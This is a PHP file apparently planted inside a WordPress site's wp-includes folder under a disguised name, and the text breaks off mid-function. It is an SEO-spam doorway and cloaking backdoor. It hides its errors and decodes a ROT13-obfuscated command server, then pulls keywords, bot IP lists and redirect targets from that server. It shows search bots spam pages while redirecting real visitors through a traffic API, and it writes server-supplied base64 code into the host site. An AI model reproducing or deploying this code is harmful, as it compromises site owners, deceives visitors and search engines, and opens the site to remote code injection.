File: //proc/thread-self/cwd/wp-includes/wperrorpl.php
<?php
@set_time_limit(9999);
@ignore_user_abort(1);
@ini_set('allow_url_fopen',1);
@error_reporting(false);
@ini_set('display_errors', false);
@ini_set('error_reporting', false);
@ini_set('safe_mode', false);
$apiKey = '0325d284800e43eff0e1969e7288da1f';
$campaignId = 'BMZDwQ';
$requestTimeout = 5;
$useCurl = 0;
$new_request = new HttpRequest($useCurl, $requestTimeout);
if($_GET['getimage']){
header('Content-type: image/jpeg');
$imgurl = base64_decode($_GET['getimage']);
$img = $new_request->request($imgurl);
echo isset($img) ? $img : $new_request->request('http://placehold.it/750x300');
exit;
}
if($_GET['getavatar_user']){
header('Content-type: image/jpeg');
$imgurl = base64_decode(rand(0,99999));
echo $new_request->request("https://robohash.org/".$imgurl.".png?size=50x50");
exit;
}
$client_url_orig = ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['SCRIPT_NAME'];
$client_url = $client_url_orig;
$serverfolder_url = "http://".dirname($client_url);
$clientid = md5(__FILE__);
$useragent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
$referer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
$ip = !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$cachedir = "/temp_" . $clientid;
$cachedirname = dirname(__FILE__).$cachedir;
$keysfilename = "ke" .$clientid. "ys";
$useragentsfilename = "use" .$clientid. "ragents";
$botipsfilename = "bo" .$clientid. "tips";
$referersfilename = "re" .$clientid. "ferere";
$runningfilename = "run" .$clientid. "ning";
$cachefilename = "cac" .$clientid. "he";
$trafffilename = "tr" .$clientid."aff";
$urlfilename = "url".$clientid;
$settfilename = "se".$clientid."tts";
$keysfilename_url = $serverfolder_url.$cachedir.'/'.$keysfilename;
$useragentsfilename_url = $serverfolder_url.$cachedir.'/'.$useragentsfilename;
$botipsfilename_url = $serverfolder_url.$cachedir.'/'.$botipsfilename;
$referersfilename_url = $serverfolder_url.$cachedir.'/'.$referersfilename;
$runningfilename_url = $serverfolder_url.$cachedir.'/'.$runningfilename;
$cachefilename_url = $serverfolder_url.$cachedir.'/'.$cachefilename;
$trafffilename_url = $serverfolder_url.$cachedir.'/'.$trafffilename;
$settfilename_url = $serverfolder_url.$cachedir.'/'.$settfilename;
$urlfilename_url = $serverfolder_url.$cachedir.'/'.$urlfilename;
$urlhash = md5($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
$thisdomain = $_SERVER['SERVER_NAME'];
$servurl = str_rot13("scrq8.bet/qbbejnlf/frggvatf_i2.cuc");
$time = time();
$whattime = false;
$bot = 0;
$user = 1;
$errors = '';
if (isset($_GET['check_ready'])) {
$whattime = checktime(1);
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('error_reporting', E_ALL);
}
else
$whattime = checktime(5000);
check_permission(); //stage 1
$settings = $new_request->request($settfilename_url);
$settings = json_decode($settings,1);
$setts_exist = $whattime ? false : file_exists($cachedirname . "/" . $settfilename);
if (!$setts_exist || $whattime || !$settings) { //stage 2 setts
$traffic = $new_request->request($trafffilename_url);
$query_setts = array(
'clientid' => urlencode($clientid),
'ineednewsetts' => /* $setts_exist ? 'no' : */'yes',
'clienturl' => urlencode($client_url),
'update' => $whattime,
'traffic' => urlencode($traffic)
);
$newsetts = $new_request->request("http://" . $servurl . "?".http_build_query($query_setts));
if (!empty($newsetts)) {
$fod = fopen($cachedirname . "/" . $settfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newsetts);
fclose($fod);
$settings = json_decode($newsetts,1);
}
}else{
$errors .= 'Error setts';
}
}
if (!file_exists($cachedirname . "/" . $keysfilename) || $whattime) { //stage 3 keys
$newkeys = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewkeys=yes");
if (!empty($newkeys)) {
$fod = fopen($cachedirname . "/" . $keysfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newkeys);
fclose($fod);
}
}else{
$errors .= 'Error keys';
}
}
if (!file_exists($cachedirname."/".$useragentsfilename) || $whattime) { //stage 4 useragents
$newuseragents = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewuseragents=yes");
if (!empty($newuseragents)) {
$fod = fopen($cachedirname . "/" . $useragentsfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newuseragents);
fclose($fod);
}
}else{
$errors .= 'Error useragents';
}
}
if (!file_exists($cachedirname."/".$botipsfilename)|| $whattime ) { //stage 5 botips
$newips = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewbotips=yes");
if (!empty($newips)) {
$fod = fopen($cachedirname . "/" . $botipsfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newips);
fclose($fod);
}
}else{
$errors .= 'Error ips';
}
}
if (!file_exists($cachedirname."/".$referersfilename) || $whattime) { //stage 5 referer
$newreferers = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewreffs=yes");
if (!empty($newreferers)) {
$fod = fopen($cachedirname . "/" . $referersfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newreferers);
fclose($fod);
}
}else{
$errors .= 'Error reffers';
}
}
$time_file_url = filemtime($cachedirname."/".$urlfilename);
$time_url = $time-$time_file_url;
if($time_url >= 120 || !file_exists($cachedirname."/".$urlfilename) || $whattime){
$newurl = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewurltoredirect=yes");
if (!empty($newurl)) {
$fod = fopen($cachedirname . "/" . $urlfilename, "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, $newurl);
fclose($fod);
}
}else{
$errors .= 'Error url redirect';
}
}
$urltoredirect = $new_request->request($urlfilename_url);
$redirect = str_ireplace('DOMAIN',$urltoredirect,$settings['redirect']);
$keyperem = $settings['keyperem'];
$settings['template_type_page'] = 'index';
if(!empty($settings['codetodonor']) && $whattime)
setText(base64_decode($settings['codetodonor']));
if ($settings['usecloack'] == "yes"){ //cloack
$testcloack = cloack($ip);
if ($testcloack == 1){
$bot = 1;
$user = 0;
$redirect = "";
}else{
$keyword = urlencode('KEYWORD');
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$ip = null;
$headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
foreach ($headers as $header) {
if (!empty($_SERVER[$header])) {
$ip = $_SERVER[$header];
break;
}
}
if (strstr($ip, ',')) {
$tmp = explode(',', $ip);
if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
$ip = trim($tmp[count($tmp) - 2]);
} else {
$ip = trim($tmp[0]);
}
}
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = trim($tmp[0]);
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$referrer = urlencode(@$_SERVER['HTTP_REFERER']);
$url = $urltoredirect."api.php?is_api=1&action=get&api_key=$apiKey&campaign=$campaignId&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang";
$result = $new_request->request($url);
$result = json_decode($result);
if (!empty($result->redirect)) {
foreach($result->redirect->headers as $header) {
header($header);
}
if ($result->redirect->content) {
echo $result->redirect->content;
exit;
}else{
$bot = 1;
$user = 0;
$redirect = "";
}
}else{
$bot = 1;
$user = 0;
$redirect = "";
}
}
}
traffic_counter(); // traffic counter
if (!empty($_GET[$keyperem])){ // get key
$q = urldecode($_GET[$keyperem]);
$settings['template_type_page'] = 'note';
}else{
$all_keys = all_keys();
$q = trim($all_keys[0]);
unset($allkeys);
}
if ($q == 'rss') { // rss page
header('Content-Type: text/xml');
$rssindexurl = "http://".$client_url_orig."?".$keyperem."=rss";
echo '<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<atom:link href="'.$rssindexurl.'" rel="self" type="application/rss+xml" />
<title>'.($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']).'</title>
<link>'.$rssindexurl.'</link>
<language>en</language>
';
$all_keys = all_keys();
$i = 0;
foreach($all_keys as $v){
$vv = str_replace(" ", "-", trim($v));
echo '
<item>
<title><![CDATA['.$v.']]></title>';
echo '
<link>http://'.$client_url_orig.'?'.$keyperem.'='.$vv.'</link>
';
echo '<description><![CDATA['.$vv.']]></description>
<guid>http://'.$client_url_orig.'?'.$keyperem.'='.$vv.'</guid>
</item>
';
if($i> 30) break;
$i++;
}
echo '<description><![CDATA['.$vv.']]></description>
</channel>
</rss>';
die();
}
if ($q == "contact" ) {
$settings['template_type_page'] = 'contact_page';
}
if(strpos($q,"sitemap") !== FALSE){
$settings['template_type_page'] = 'sitemap';
}
if (!empty($q) && !empty($urlhash) && !empty($settings)) { //get page doorway + cache
if (file_exists($cachedirname . "/" .$cachefilename)) {
$handle = fopen($cachedirname . "/" .$cachefilename, "r");
while (!feof($handle)) {
$cacheline = fgets($handle);
$cacheline = explode("::::", $cacheline);
$cachedurl = trim($cacheline[0]);
if ($cachedurl == trim($urlhash)) {
$cacheddata = trim($cacheline[1]);
break;
}
}
fclose($handle);
if (!empty($cacheddata)) {
$page = decodedata($cacheddata,'p');
}
else {
$page = getcontent();
if (!empty($page)) {
putincache($urlhash."::::".codedata($page)."\n", $cachedirname."/".$cachefilename,"a+");
}
}
}
else {
$page = getcontent();
if (!empty($page)) {
putincache($urlhash."::::".codedata($page)."\n", $cachedirname."/".$cachefilename,"a+");
}
}
}
if($_GET['check_ready']){
echo $errors;
}
echo $page;
function all_keys(){
global $keysfilename_url;
global $errors;
global $new_request;
$allkeys = $new_request->request($keysfilename_url);
if (!empty($allkeys)){
$allkeys = explode("\n", decodedata($allkeys,'k'));
shuffle($allkeys);
return $allkeys;
}else{
$errors .= "Keys file is empty\t";
return false;
}
}
function putincache($page,$path,$flag){
$fod = fopen($path, $flag);
flock($fod, LOCK_EX);
fwrite($fod, $page);
fclose($fod);
}
function traffic_counter(){
global $trafffilename;
global $bot;
global $user;
global $errors;
global $cachedirname;
global $new_request;
global $trafffilename_url;
$trafffilename = $cachedirname . "/" . $trafffilename;
if (file_exists($trafffilename)){
$traffic = $new_request->request($trafffilename_url);
$traffic = explode("/", $traffic);
$traffic[0] = trim($traffic[0]) + $bot;
$traffic[1] = trim($traffic[1]) + $user;
$traffic = implode("/", $traffic);
$traffic = trim($traffic);
@unlink($trafffilename);
$fod = fopen($trafffilename, "a+");
if (!empty($fod)){
flock($fod, LOCK_EX);
ftruncate($fod, 0);
fwrite($fod, $traffic);
fclose($fod);
}else{
$errors .= "Can't save traffic file";
}
}else{
$traffic = $bot . "/" . $user;
$fod = fopen($trafffilename, "w+");
if (!empty($fod)){
flock($fod, LOCK_EX);
fwrite($fod, $traffic);
fclose($fod);
}else{
$errors.= "Can't save traffic file";
}
}
}
function include_cms(){
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php')){
// define('WP_USE_THEMES', false);
// require($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');
//return "wp";
}elseif(file_exists($_SERVER['DOCUMENT_ROOT'].'/includes/framework.php')){
// define( '_JEXEC', 1 );
// define( 'DS', DIRECTORY_SEPARATOR );
// define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT' ] );
// require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );
// require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );
// require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );
// $mainframe =& JFactory::getApplication('site');
//return "joomla";
}
return false;
}
function randString($length)
{
$str = "";
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$str.= $chars[rand(0, $size - 1) ];
}
return $str;
}
function is_function_enabled($func)
{
$func = strtolower(trim($func));
if ($func == '') return false;
$disabled = explode(",", @ini_get("disable_functions"));
if (empty($disabled)) {
$disabled = array();
}
else {
$disabled = array_map('trim', array_map('strtolower', $disabled));
}
return (function_exists($func) && is_callable($func) && !in_array($func, $disabled));
}
function checktime($timetocurl)
{
global $cachedirname;
global $clientid;
if (is_dir($cachedirname)) {
if (!file_exists($cachedirname . "/" . substr($clientid, 0, 7))) {
$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, "");
fclose($fod);
}
else {
return "errorcreate";
}
}
$cron_time = filemtime($cachedirname . "/" . substr($clientid, 0, 7));
if (time() - $cron_time >= $timetocurl) {
@unlink($cachedirname . "/" . substr($clientid, 0, 7));
$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, "");
fclose($fod);
return true;
}
else {
return "errorcreate";
}
}
return false;
}
else {
return false;
}
}
function cloack($ip)
{
global $referer;
global $useragent;
global $useragentsfilename;
global $botipsfilename;
global $referersfilename;
global $new_request;
global $useragentsfilename_url;
global $referersfilename_url;
global $cachedirname;
$angrybot = "";
if (file_exists($cachedirname . "/" . $useragentsfilename)) {
$useragents = decodedata(implode("\n",$new_request->request($useragentsfilename_url)),'ua');
$useragents = trim($useragents);
$useragents = explode("\n", $useragents);
}
if (file_exists($cachedirname . "/" . $referersfilename)) {
$goodrefs = decodedata(implode("\n",$new_request->request($referersfilename_url)),'rfr');
$goodrefs = trim($goodrefs);
$goodrefs = explode("\n", $goodrefs);
}
$nowref = strtolower($referer);
$nowref = trim($nowref);
$nowua = strtolower($useragent);
$nowua = trim($nowua);
$ip = trim($ip);
if (file_exists($cachedirname . "/" . $botipsfilename) && !empty($ip)) {
$ipforcloack = explode(".", $ip);
$handle = fopen($cachedirname . "/" . $botipsfilename, "r");
$i = 1;
while (!feof($handle)) {
$cloackip = trim(fgets($handle));
if (!empty($cloackip)) {
$cloackip = explode(".", $cloackip);
$needcloackip = explode("/", $cloackip[3]);
if (!empty($needcloackip[1])) {
if ($ipforcloack[0] == $cloackip[0] && $ipforcloack[1] == $cloackip[1] && $ipforcloack[2] == $cloackip[2] && $ipforcloack[3] >= $needcloackip[0] && $ipforcloack[3] <= $needcloackip[1]) {
$angrybot = "1";
break;
}
}
else {
if ($ip == implode(".", $cloackip)) {
$angrybot = "1";
break;
}
}
$i++;
}
}
fclose($handle);
}
if (empty($angrybot)) {
if (!empty($useragents[0])) {
foreach($useragents as $cloackuseragent) {
$cloackuseragent = strtolower($cloackuseragent);
$cloackuseragent = trim($cloackuseragent);
if (strpos($nowua, $cloackuseragent) !== false && !empty($cloackuseragent)) {
$angrybot = "1";
break;
}
}
}
if (empty($angrybot)) {
if (!empty($goodrefs)) {
foreach($goodrefs as $goodref) {
if (!empty($goodref)) {
$goodref = strtolower($goodref);
$goodref = trim($goodref);
if (strpos($nowref, $goodref) !== false) {
$angrybot = "";
break;
}
else {
$angrybot = "1";
}
}
else {
break;
}
}
}
}
}
return $angrybot;
}
function codedata($data)
{
$data = gzcompress(base64_encode(urlencode($data)) , 4);
return urlencode($data);
}
function decodedata($data,$r)
{
return urldecode(base64_decode(gzuncompress(urldecode($data))));
}
function keyindoorway($currentkey, $keyfilename)
{
$foundkey = "";
$currentkey = trim(urldecode($currentkey));
$currentkey = str_ireplace("-", " ", $currentkey);
$currentkey = strtolower($currentkey);
$allkeys = all_keys();
foreach($allkeys as $keyfrcheck) {
$keyfrcheck = trim($keyfrcheck);
$keyfrcheck = strtolower($keyfrcheck);
if (stripos($currentkey,$keyfrcheck) !== false) {
$foundkey = "yes";
break;
}
}
return $foundkey;
}
function postItem($title, $desc, $text)
{
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = $title;
$item->introtext = $desc;
$item->fulltext = $text;
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = date('Y-m-d H:i:s');
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
return false;
}
return $item->id . ":" . $item->alias;
}
function full_del_dir($directory)
{
$dir = opendir($directory);
while (($file = readdir($dir))) {
if (is_file($directory . "/" . $file)) {
unlink($directory . "/" . $file);
}
else
if (is_dir($directory . "/" . $file) && ($file != ".") && ($file != "..")) {
full_del_dir($directory . "/" . $file);
}
}
closedir($dir);
rmdir($directory);
}
function paginate($array, $pageSize, $page = 1){
$page = $page < 1 ? 1 : $page;
$start = ($page - 1) * $pageSize;
return array_slice($array, $start, $pageSize);
}
function getcontent(){
global $new_request;
global $client_url_orig;
global $q;
global $errors;
global $settings;
global $redirect;
global $thisdomain;
global $new_request;
$servurl = $settings['servurl'];
$lang = $settings['lang'];
$_templatename = $settings['templatename'];
$clienttype = $settings['clienttype'];
$_clienturl = $settings['clienturl'];
$keyperem = $settings['keyperem'];
if(include_cms() == "wp" || include_cms() == "joomla"){
$settings['template_type_page'] = 'cms';
}
$_template_data = $new_request->request("http://" . $servurl . "workdir/templates/".$_templatename."/".$settings['template_type_page'].".php");
$orig_key = $q;
$_currkey = str_replace("-", " ", $q);
$_keyfile_data = all_keys();
$count_keys = count($_keyfile_data);
if (!empty($_templatename) && !empty($_keyfile_data)) {
if(strpos($_currkey,"sitemap") !== FALSE)
$_result = "site map";
else{
$_result = bingcontent($_currkey, $lang);
$title_theme1 = $_result['title1'];
$title_theme2 = $_result['title2'];
$title_theme3 = $_result['title3'];
$_result = $_result['content'];
}
if (empty($_templatename)) {
$errors.= "Template not setted ";
}
if (stripos($_template_data, "[SITEMAP]") !== false) {
$_template_data = str_replace("[TITLESITEMAP]","Sitemap",$_template_data);
$numpage = max(1, intval(str_ireplace("sitemap ","",$_currkey)));
$totalPages = ceil( count($_keyfile_data)/ 500 );
$keys_for_map = paginate($_keyfile_data, 500, $numpage);
$html_map = '';
$html_tags = array('<div><li>[LINKMAP]</li></div>','<ol>[LINKMAP]</ol>','<div><dd>[LINKMAP]</dd></div>','<ul>[LINKMAP]</ul>','<div><p>[LINKMAP]</p></div>','<dl>[LINKMAP]</dl>');
foreach($keys_for_map as $v){
$rand_tag = array_rand($html_tags,1);
$html_map .= str_replace("[LINKMAP]", '<a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($v)) , $_clienturl) . '">' . ucfirst(trim($v)) . "</a>", $html_tags[$rand_tag]);
}
$_template_data = str_replace("[SITEMAP]",$html_map,$_template_data);
$pagination .= '<ul class="pagination" style=" margin-left: 500px;">';
for($i=1;$i<=$totalPages;$i++) {
$pagination .= '<li><a href=http://' . str_replace("[KEY]", "sitemap-".$i , $_clienturl) . '>'.$i."</a> </li>";
}
$pagination .= '</ul>';
$_template_data = str_replace("[PAGINATION]",$pagination,$_template_data);
}
if (!empty($_template_data) && !empty($_result) && !empty($_currkey) && !empty($_keyfile_data) && !empty($_clienturl)) {
if (stripos($_template_data, "[RANDOMLINES") !==false) {
$_pattern = "#(\[RANDOMLINES:.*\])#iU";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
$files = array();
foreach($_matches[1] as $_value) {
$_randomline = "";
$_normal = trim($_value);
$_normal = str_replace("[", "", $_normal);
$_normal = str_replace("]", "", $_normal);
$_normal = explode(":", $_normal);
if(!$files[trim($_normal[1])]){
$_randomlines = $new_request->request("http://" . $servurl . "workdir/randomlines/" . trim($_normal[1]));
$files[trim($_normal[1])] = $_randomlines;
}else
$_randomlines = $files[trim($_normal[1])];
shuffle($_randomlines);
$count_randomlines = count($_randomlines);
if (trim($_normal[2]) >= $count_randomlines) {
$_normal[2] = $count_randomlines - 1;
}
else {
$_normal[2]--;
}
for ($_i = 0; $_i <= trim($_normal[2]); $_i++) {
$_randomline.= trim($_randomlines[$_i]) . "" . $_normal[3];
}
$_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", trim($_randomline, $_normal[3]) , $_template_data, 1); /* }else{ $_message.= "No file " . trim($_normal[1]) . " for random lines "; $_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", "", $_template_data, 1); } */
}
}
}
if (strpos($_template_data, "[:::") !== FALSE) {
$_pattern = "/(\[:::.*:::\])/iU";
preg_match_all($_pattern, $_template_data, $_matches);
if ($_matches[1]) {
foreach($_matches[1] as $_value) {
$_value = trim($_value);
$_elements = str_replace("[:::", "", $_value);
$_elements = str_replace(":::]", "", $_elements);
$_elements = explode("|", $_elements);
shuffle($_elements);
if (!empty($_elements[0])):
$_template_data = preg_replace("|" . preg_quote($_value) . "|iU", trim($_elements[0]) , $_template_data, 1);
else:
$_template_data = str_ireplace($_value, "", $_template_data);
endif;
}
}
}
$_pattern = "/(\[SENTENCE:.*\])/iU";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_sentence) {
$_sentence_normal = trim($_sentence);
$_sentence_normal = str_replace("[", "", $_sentence_normal);
$_sentence_normal = str_replace("]", "", $_sentence_normal);
$_sentence_normal = explode(":", $_sentence_normal);
$_full_str = edittext($_sentence_normal[1], $_sentence_normal[2], $_result, $_sentence_normal[3], $_sentence_normal[4], '' . $_sentence_normal[5], $_currkey, $_keyfile_data, $_themesfile_data, "workdir/extlinks/" . $_extlinksfilename, $_clienturl, '' . $_sentence_normal[6], $_extlinksfile_data, $_sentence_normal[7]);
$_full_str = str_replace("$", "\$", $_full_str);
if (!empty($_full_str)):
$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", ucfirst($_full_str) , $_template_data, 1);
else:
$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", "", $_template_data, 1);
endif;
}
}
$_template_data = str_replace("[UPKEY]", mb_strtoupper(mb_substr($_currkey, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey, 1, mb_strlen($_currkey) , "UTF-8") , $_template_data);
if (strpos($_template_data, "[RANDKEYWORD") !== FALSE) {
preg_match_all("/(\[RANDKEYWORD:.*\])/iUm", $_template_data, $_matches);
foreach($_matches[1] as $_rand_val){
shuffle($_keyfile_data);
$_template_data = str_replace($_rand_val.'::LINK',str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[0])), $_clienturl),$_template_data);
$_template_data = str_replace($_rand_val,ucfirst(trim($_keyfile_data[0])),$_template_data);
}
}
if (strpos($_template_data, "[RANDKEYWORD]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[RANDKEYWORD]");
for ($_i = 0; $_i <= $_count_rand; $_i++) {
$_template_data = preg_replace("/\[RANDKEYWORD\]/", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_template_data, 1);
}
}
if (strpos($_template_data, "[RANDOMLINK]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[RANDOMLINK]");
for ($_i = 0; $_i <= $_count_rand; $_i++) {
$_template_data = preg_replace("/\[RANDOMLINK\]/", '<a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) . '">' . ucfirst(trim($_keyfile_data[$_i])) . "</a>", $_template_data, 1);
}
}
if (strpos($_template_data, "[SIMPLERANDOMLINK]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[SIMPLERANDOMLINK]");
for ($_i = 0; $_i <= $_count_rand; $_i++):
$_template_data = preg_replace("/\[SIMPLERANDOMLINK\]/", "http://" . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) , $_template_data, 1);
endfor;
}
if (strpos($_template_data, "[RAND:") !== FALSE) {
$_pattern = "/(\[RAND:[0-9]*:[0-9]*\])/";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_rand_val):
$_rand_val_group = explode(":", trim(str_replace("[", "", str_replace("]", "", $_rand_val))));
$_template_data = preg_replace("/" . str_replace("[", "\[", str_replace("]", "\]", $_rand_val)) . "/", rand(trim($_rand_val_group[1]) , trim($_rand_val_group[2])) , $_template_data, 1);
endforeach;
}
}
$_template_data = str_replace("[DEFISKEY]", ucfirst(str_replace(" ", "-", $_currkey)) , $_template_data);
$_template_data = str_replace("[THISDOMAIN]", $thisdomain, $_template_data);
$_template_data = str_replace("[DORURL]", str_replace("[KEY]","" , $_clienturl) , $_template_data);
$_template_data = str_replace("[DORWITHKEYPERM]", str_replace("?".$keyperem."=[KEY]","" , $_clienturl) , $_template_data);
if (strpos($_template_data, "[UPKEY:") !== FALSE) {
$_currkey2 = "";
preg_match_all("/(\[UPKEY:.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_upkeys):
$_currkey2 = $_currkey;
$_upkeys_normal = str_replace("[UPKEY:", "", $_upkeys);
$_upkeys_normal = str_replace("]", "", $_upkeys_normal);
$_upkeys_normal = explode(",", $_upkeys_normal);
foreach($_upkeys_normal as $_normal_key):
$_currkey2 = str_ireplace($_normal_key, "", $_currkey2);
endforeach;
$_currkey2 = str_replace(" ", " ", $_currkey2);
$_currkey2 = trim($_currkey2);
$_template_data = str_ireplace($_upkeys, mb_strtoupper(mb_substr($_currkey2, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey2, 1, mb_strlen($_currkey2) , "UTF-8") , $_template_data);
endforeach;
}
}
if (strpos($_template_data, "[AVATAR") !== FALSE) {
preg_match_all("/(\[AVATAR.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) ) {
foreach($_matches[1] as $_upimgs){
$_template_data = str_replace($_upimgs,"//".$client_url_orig."?getavatar_user=1",$_template_data);
}
}
$_template_data = preg_replace("/(\[AVATAR.*\])/iUm",'',$_template_data);
}
if (strpos($_template_data, "[USER") !== FALSE) {
preg_match_all("/(\[USER.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) ) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$couser);
$_template_data = str_replace($_upimgs,getip(),$_template_data);
}
}
$_template_data = preg_replace("/(\[USER.*\])/iUm",'',$_template_data);
}
if (strpos($_template_data, "[VIDEO") !== FALSE) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/videos/search?&q='.urlencode($_currkey).'&qft=+filterui:msite-youtube.com&FORM=R5VR15');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
$outch = curl_exec($ch);
$outch = str_ireplace('\\', '', $outch);
curl_close($ch);
preg_match_all('!youtube.com/watch\?v=(.*?)&!siu', $outch, $lines2);
$videos = array_unique($lines2[1]);
shuffle($videos);
$count_imgs = count($videos);
$ar_video = $videos;
preg_match_all("/(\[VIDEO.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$count_imgs);
$int = $ar_video[$rnd];
if($int)
$_template_data = str_replace($_upimgs,'https://www.youtube.com/embed/'.$int,$_template_data);
else
$_template_data = str_replace($_upimgs,'',$_template_data);
}
}
}
if (strpos($_template_data, "[IMGSRC") !== FALSE) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/images/search?q='.urlencode($_currkey));
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
$outch = curl_exec($ch);
curl_close($ch);
preg_match_all('!murl":"(.*?)",!siu', $outch, $lines2);
if(!$lines2[1]){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://twitter.com/search?q='.urlencode($_currkey).'&src=typd&mode=photos');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
